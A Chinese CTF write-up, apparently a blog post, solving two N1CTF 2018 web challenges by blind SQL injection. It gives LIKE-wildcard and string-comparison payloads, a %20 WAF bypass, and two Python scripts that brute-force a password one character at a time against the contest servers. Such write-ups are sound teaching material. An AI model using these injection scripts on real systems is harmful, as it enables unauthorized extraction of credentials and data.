美文网首页
【CTF-Web】N1CTF注入两道

【CTF-Web】N1CTF注入两道

作者: Kirin_say | 来源:发表于2018-03-13 23:09 被阅读98次

    Nu1L主办的赛事,又划了一次水
    小记Web的两道注入

    77777:

    代码看一下,显然是 sql注入,需要我们 post两个数据 flag和 hi,利用 hi注入,这次大部分关键字都被过滤了,发现 where,if和 like 还有
    通配符”_”还在,直接构造模糊查询:

    flag=2&hi=0-if((password like '_____________'),1,0)
    

    (mypoint 返回19 就可以了)
    (我本来用的where 解的,比赛结束重新试好像不行,估计是我这边解析问题,只能重新构造用 if 了)
    脚本:

    import urllib
    import requests
    
    keys="0123456789abcdefghijklmnopqrstuvwxyz"
    flag=""
    url = "http://47.97.168.223/"
    for i in range(1,10000):
        for j in keys:
            payload = "0-if((password like '%s____________'),1,0)" %j
            data = {
                "flag":"2",
                "hi":payload
            }
            r= requests.post(url=url,data=data)
            if '19' in r.content[1850:1900]:
                print  j
                break
    
    

    类似这样一位一位破就行

    77777 2

    我从 hackbar 端试了一下,发现几乎什么都不能用,最后我构造了 unhex:


    unhex

    理论上能,但是爆破几位就发现错误,我怀疑是最后的 payload 过长.......

    不过队友学长那边+,%都能用,给了我启发,多半是我这边 hackbar 发送 post数据乱解析了 ( 因为新版火狐我安装的不是当年的那个hackbar 了)。
    直接 BP 抓包,果然:


    图片.png

    最后晚上改好了脚本:

    import urllib
    import requests
    
    keys="zyxwvutsrqponmlkjihgfedcba9876543210"
    flag=""
    url = "http://47.52.137.90:20000/"
    for i in range(1,10000):
        for j in keys:
            payload = "0-if((+pw%20>'"+flag+j+"'),1,0)"
            data = {
                "flag":"2",
                "hi":urllib.unquote(payload)
            }
            r= requests.post(url=url,data=data)
            if '19' in r.content[1850:1900]:
                flag+=j
                print   flag
                break
    

    有几点注意一下:
    Python 直接post 还会被 waf,因为会url 编码,但是我们用于绕过的字符%20没编(我又抓了 python 的包看了一下):
    让我想起 n年前的 cookie注入,所以这里用一下 urllib.unquote()
    还有,因为用到字符串比较:>,跑最后一位可以 reverse一下 pw

    相关文章

      网友评论

          本文标题:【CTF-Web】N1CTF注入两道

          本文链接:https://www.haomeiwen.com/subject/pupmfftx.html